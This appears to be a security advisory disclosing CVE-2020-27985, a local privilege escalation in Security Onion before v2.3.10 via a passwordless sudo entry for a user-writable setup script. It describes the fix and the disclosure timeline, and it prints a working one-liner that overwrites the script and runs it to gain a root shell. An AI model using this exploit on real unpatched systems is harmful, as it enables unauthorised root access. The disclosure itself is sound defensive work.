Security Onion v2 (versions prior to 2.3.10) is vulnerable to a Local Privilege Escalation vulnerability when ISO install is used to install SO.
An attacker gaining access to the user created during the initial setup of SO, can abuse an incorrect sudo configuration and escalate to root without supplying a password.

What is Security Onion

Security Onion is a free and open source Linux distribution for threat hunting, enterprise security monitoring, and log management. It includes TheHive, Playbook and Sigma, Fleet and osquery, CyberChef, Elasticsearch, Logstash, Kibana, Suricata, Zeek, Wazuh, and many other security tools. Security Onion has been downloaded over 1 million times and is being used by security teams around the world to monitor and defend their enterprises.

Versions affected

  • Security Onion prior to v2.3.10


By default, the user created during the initial setup of SO can execute so-setup without supplying a password, as shown below:

testuser@TEST-IDS:/home/testuser$ sudo -l 
User testuser may run the following commands on TEST-IDS:
    (ALL) ALL
    (ALL) NOPASSWD: /home/testuser/SecurityOnion/setup/so-setup

Since we have write access to this file, an attacker can prepend /bin/bash to /home/<user>/SecurityOnion/setup/so-setup or overwrite this file with custom code, and in turn escalate to root by executing sudo so-setup.

This can easily be achieved with a simple oneliner:

testuser@TEST-IDS:~$ echo -e '#!/bin/bash\n/bin/bash' > /home/testuser/SecurityOnion/setup/so-setup ; sudo /home/testuser/SecurityOnion/setup/so-setup
root@TEST-IDS:/home/testuser# whoami;id
uid=0(root) gid=0(root) groups=0(root)


Since everything else in Security Onion requires a password, it makes no sense allowing so-setup to be executed without a password.
After the most recent update (v2.3.10) the following steps were taken to remediate this vulnerability:

  • For new installations starting with the 2.3.10 ISO image, setup will automatically remove the sudoers entry
  • For existing installations upgrading to 2.3.10, soup will check for the existence of the sudoers entry and prompt the user to remove it

The following commit was pushed to the SO git repo and will remove the affected sudo privileges on new installs, starting from v2.3.10:

if [[ $install_type == 'iso' ]]; then
    info "Removing so-setup permission entry from sudoers file"
    sed -i '/so-setup/d' /etc/sudoers

If you're upgrading from v2.3.2 you will be prompted to remove the affected sudo configuration, as shown below:

up_2.3.2_to_2.3.10() {
	if grep -q "so-setup" /etc/sudoers; then
		echo "[ INFO ] There is an entry for so-setup in the sudoers file, this can be safely deleted using \"visudo\"."


  • 10/28/2020 - Vulnerability discovered
  • 10/28/2020 - Reached out to Security Onion Solutions (security[at]
  • 10/28/2020 - Received a response telling me they would look into the vulnerability
  • 10/28/2020 - Received another response a few hours later telling me they recognize this as an issue
  • 10/28/2020 - CVE requested and issued (CVE-2020-27985)
  • 11/20/2020 - Patch released
  • 11/20/2020 - Vulnerability publicly disclosed